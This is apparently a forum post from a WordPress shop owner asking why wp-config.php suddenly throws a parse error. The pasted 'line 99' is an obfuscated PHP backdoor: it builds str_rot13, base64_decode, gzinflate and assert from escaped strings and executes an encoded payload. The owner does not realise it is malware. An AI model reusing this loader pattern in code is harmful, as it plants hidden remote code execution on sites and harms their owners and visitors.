WordPress Gave Error in wp-config.php although no change

I bought a WordPress theme from wpmod.com
I was using the theme for 8 months without any problem
I dont have knowledge about WordPress settings, they setup the website and gave me the admin information and I added my products.
It was working great but yesterday, it failed.

Parse error: syntax error, unexpected ‘”‘, expecting T_STRING in /home/muratmer/public_html/wp-config.php on line 99
This message exists in the main of the website. muratmercedesparca.com
Yesterday, it was showing error on line 93
Today it shows on line 99
I cant achieve people who I bought theme from.

On line 99, this code is seen

$AWdh1P="nROIHuIYUogoNKJ5y8FfGMQxJV8TfN0JtxEQnletMZIniycPJHJXrXd3ib7C4zTDYSXVjUHLqYSbDM6C5ImMjQiIvw9BtrogFOtxnx9n1GncBxHdXeGfDztPwktXno4hcoW2qeLJUPJPxyLU/LfXQzlPXPktVIw8uKwwbH2+dy8sboj/nul3VKkUfvTl90jPmHkOQyoB21nwIZ5/pe7OMeO9mDTvOEsNbPz1IY9wYlo7IEf7zFRqQ+/B4t2EzXiD1m7ju4/YUBn4JQqBChmaZsp0QdaCmM3IIPEwHURT/IxqhTDn+lTqr/DnWe/R0rOIdKSCn4RstQfDPRH9OVbEv2RMxtgMfnqHdFtA4agM2KZE67EN1q/Ohc6LO5o47k3RtI+T3Vpg7P3KfUY0AVE/10rlcTffXYanU3T0T1MGNiJFz/37+aJZngGGSWgbjlK5DB/u44l1wjeYu6lParrRYrQC1NFfilXe0z9xS/57fylDpBPE9CvRszRoT6Kllf3cxsVmbLRkjOan4Tsqz8iE2Ggzcx7aEbxx1xV2G8Y1kzZgvJ73XuzX0ReDvPL2CpqVX5BdQmLJ9OYazXfSr9mQ6m4muMSQ+0duOV7DSakcZv87eUEM/69Cwl58LzKbMUJ8AtKePrJ2v71xHMr9EiJu3Cv97lQMnYc2l5UJX0Yh2UtxfyFwymYcG9sRzelTRTi3MleFmUKi42cGwN2rLQyQx4Lk5Tx6tHHrQuzwe+LlvBy2PR33Ac6+XncQmipmNcfi/TBMqvIKmLzTWlVVyTMZ3JUdEyEZjd8CcTzwSDfrBTjt71Nv78HOyzse5DiZoFZ59wVLoVzwdiVyAtEBQTpy276WnNbZXtX7RwhB8v+fRvSrhWWad+YEhWTgjocdsizLVPBj7OrzXuahAY9Ub/yz03wQZcmVj4BfAr/oXhxeeKG6URKgsoATHJKmPFVUzm7Tod1dIKWL+IaLK6Cjoj2J+2Gnh0jXlagQ3oG+fg==";$bbwEToxQ="\163\164";$jknDAkscD="\x62\141\163";$hLawTA="\141";$voJZ7U="\147\172\151";$Wx2pvJa7="Fl1YmASDI3RZG8xjQYOIlpeBp3UZYx520LNXnIde5TK5+kq";$voJZ7U.="\x6e\x66";$Wx2pvJa7.="I5noMXvyMd4EKTOJHrFJn2lcShWHUIvcMc+HKnnu4ySt4Tt";$hLawTA.="\163";$jknDAkscD.="\x65\x36\64";$bbwEToxQ.="\x72\x5f\x72";$Wx2pvJa7.="GMTyuQJGozWuLjgen2WgjVCqixwPXA/XVHzCUEHRJkzaStH";$bbwEToxQ.="\x6f\x74";$hLawTA.="\x73\x65";$voJZ7U.="\x6c\x61";$jknDAkscD.="\x5f\144\x65\143";$hLawTA.="\162\164";$Wx2pvJa7.="MwkZUSI01uAGJhUIWNeIpelinYZDmKtctSy1QJgND==";$jknDAkscD.="\157\x64\145";$bbwEToxQ.="\x31\63";$voJZ7U.="\x74\x65";@$hLawTA($voJZ7U($jknDAkscD($bbwEToxQ($Wx2pvJa7))));